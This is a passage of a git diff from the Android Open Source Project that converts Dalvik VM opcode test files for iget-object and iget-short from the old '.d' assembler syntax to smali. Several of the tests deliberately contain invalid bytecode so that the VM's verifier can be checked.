-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_5.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali
new file mode 100644
index 0000000..7128a4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_5;
+.super Ljava/lang/Object;
+.source "T_iget_object_5.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 4
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_5;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
deleted file mode 100644
index ccf829d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_6.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
-
-       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali
new file mode 100644
index 0000000..8bbc406
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_6.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d
deleted file mode 100644
index db5f6f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_7.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_7no_class.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali
new file mode 100644
index 0000000..256cb08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_7.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d
deleted file mode 100644
index 67f7b82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_8.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_8.i1N Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali
new file mode 100644
index 0000000..64c9137
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_8.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d
deleted file mode 100644
index 7899b37..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_9.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_9
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       const v0, 0
-       iget-object v1, v0, dot.junit.opcodes.iget_object.d.T_iget_object_9.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali
new file mode 100644
index 0000000..8a0a6d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_9;
+.super Ljava/lang/Object;
+.source "T_iget_object_9.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    const v0, 0x0
+
+    iget-object v1, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_9;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d
deleted file mode 100644
index 822f09e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_1.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_1
-.super java/lang/Object
-
-.field public  i1 S
-.field protected  p1 S
-.field private  pvt1 S
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.i1 S
-
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.p1 S
-
-       const v0, 32000
-       iput-short v0, v1, dot.junit.opcodes.iget_short.d.T_iget_short_1.pvt1 S
-       
-       
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali
new file mode 100644
index 0000000..d783c73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_1.smali
@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_1.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+.field protected  p1:S
+.field private  pvt1:S
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+
+       const v0, 32000
+       iput-short v0, v1, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       
+       
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d
deleted file mode 100644
index 0dfd2f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_11.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_11
-.super dot/junit/opcodes/iget_short/d/T_iget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/d/T_iget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.p1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali
new file mode 100644
index 0000000..c49bf06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_11.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_11;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->p1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d
deleted file mode 100644
index e47f6a6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_12.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_12
-.super dot/junit/opcodes/iget_short/d/T_iget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_short/d/T_iget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       iget-short v1, v2, dot.junit.opcodes.iget_short.d.T_iget_short_1.pvt1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali
new file mode 100644
index 0000000..281d7bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_12.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_12;
+.super  Ldot/junit/opcodes/iget_short/d/T_iget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       iget-short v1, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_1;->pvt1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d
deleted file mode 100644
index 22a94a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_13.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_13.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali
new file mode 100644
index 0000000..82f896e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_13.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_13;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d
deleted file mode 100644
index 9e0367a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_14.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali
new file mode 100644
index 0000000..ed97b87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_short/d/T_iget_short_14;
+.super Ljava/lang/Object;
+.source "T_iget_short_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-short v0, p0, Ldot/junit/opcodes/iget_short/d/T_iget_short_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d
deleted file mode 100644
index cf1fbf5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_15.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_15
-.super java/lang/Object
-
-.field public i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-short v0, v2, dot.junit.opcodes.iget_short.d.T_iget_short_15.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali
new file mode 100644
index 0000000..dfb7fc5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_short_15.java"
+.class  public Ldot/junit/opcodes/iget_short/d/T_iget_short_15;
+.super  Ljava/lang/Object;
+
+.field public i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-short v0, v2, Ldot/junit/opcodes/iget_short/d/T_iget_short_15;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d
deleted file mode 100644
index 635640a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_short/d/T_iget_short_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_short_16.java
-.class public dot.junit.opcodes.iget_short.d.T_iget_short_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
